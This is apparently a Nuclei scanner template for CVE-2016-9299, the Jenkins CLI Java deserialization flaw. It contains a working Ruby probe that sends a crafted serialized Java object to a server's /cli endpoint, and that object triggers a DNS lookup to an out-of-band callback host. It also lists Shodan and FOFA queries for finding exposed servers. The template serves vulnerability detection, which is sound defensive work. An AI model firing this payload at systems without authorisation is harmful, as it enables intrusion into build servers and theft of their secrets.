id: CVE-2016-9299

info:
  name: Jenkins CLI - HTTP Java Deserialization
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The remoting module in Jenkins before 2.32 and LTS before 2.19.3 allows remote attackers to execute arbitrary code via a crafted serialized Java object, which triggers an LDAP query to a third-party server.
  impact: |
    Attackers can execute arbitrary code through Java deserialization, potentially leading to complete Jenkins server compromise and unauthorized access to all build systems and secrets.
  remediation: |
    Update Jenkins to version 2.32 or LTS 2.19.3 or later that fixes the deserialization vulnerability.
  reference:
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb
    - https://nvd.nist.gov/vuln/detail/CVE-2016-9299
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-9299
    cwe-id: CWE-90
    epss-score: 0.9765
    epss-percentile: 0.99895
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: jenkins
    product: jenkins
    shodan-query: product:"jenkins"
    fofa-query: icon_hash=81586312
  tags: cve,cve2016,rce,deserialization,vkev,vuln

variables:
  oast: "{{interactsh-url}}"

code:
  - engine:
      - rb
      - ruby # requires ruby to be pre-installed on system running nuclei

    source: |
            require 'socket'
            require 'base64'

            # Define environment variables for host details (make sure they are properly set in your environment)
            $Hostname = ENV['Hostname']
            $Host = ENV['Host']
            $Port = ENV['Port']
            interactsh = (ENV['oast']).ljust(45,'/')
            url_dns = "aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002d657761776a7763737778766b6a66737763716c69316673737632357271306438642e6f6173742e6f6e6c696e6574000071007e0005740004687474707078740034687474703a2f2f657761776a7763737778766b6a66737763716c69316673737632357271306438642e6f6173742e6f6e6c696e6578"
            $decoded_url_dns = [url_dns].pack("H*")
            $decoded_url_dns = $decoded_url_dns.gsub! "ewawjwcswxvkjfswcqli1fssv25rq0d8d.oast.online", interactsh

            # Step 1: Send the download request without waiting for a response or closing the socket
            def send_download_request(host, port)
              download_socket = TCPSocket.new(host, port)

              download_request = <<~REQ
                POST /cli HTTP/1.1
                Host: #{$Hostname}
                Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e93
                Side: download
                Content-Type: application/x-www-form-urlencoded
                Content-Length: 0\r\n
              REQ

              #puts "Sending Download Request..."
              download_socket.write(download_request)

              # Return the open socket so we can read from it later
              return download_socket
            end

            # Step 2: Send the upload request
            def send_upload_request(host, port)
              socket = TCPSocket.new(host, port)

              # Base64 decoded payload for upload request
              chunked_payload = "<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=\x00\x00\x00\x00\x01\x55" + $decoded_url_dns

              upload_request = <<~REQ
                POST /cli HTTP/1.1
                Host: #{$Hostname}
                Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e93
                Side: upload
                Content-Type: application/octet-stream
                Content-Length: #{chunked_payload.bytesize}\r\n
              REQ

              #puts "Sending Upload Request..."
              socket.write(upload_request)

              # Send the binary data (payload)
              socket.write(chunked_payload)

              # Read and print the response for the upload request
              response = socket.readpartial(1024)
              #puts "Received from server (upload response): #{response}"

              # Close the socket for upload request
              socket.close
            end

            # Step 3: After upload request, read the download request's response
            def read_download_response(socket)
              #puts "Reading Download Request Response..."
              response = socket.readpartial(1024)
              socket.close
              response

            end

            # Combined steps to perform the operations in the required order
            # Step 1: Send download request (don't wait for response, keep the socket open)
            download_socket = send_download_request($Host, $Port)

            # Step 2: Send upload request
            send_upload_request($Host, $Port)

            # Print the download response
            puts read_download_response(download_socket)

    matchers:
      - type: dsl
        dsl:
          - "contains(response,'hudson.remoting.UserRequest')"
          - 'contains(interactsh_protocol, "dns")'
        condition: and
# digest: 4a0a0047304502207b637f5099ba00f811e06315139f4690478cf826b5592dfa7fe60cadf093e500022100d86a9a540242ada4572634c5bc1cd886b98a994368c72a9ae53bbae3809b650d:922c64590222798bb761d5b6d8e72950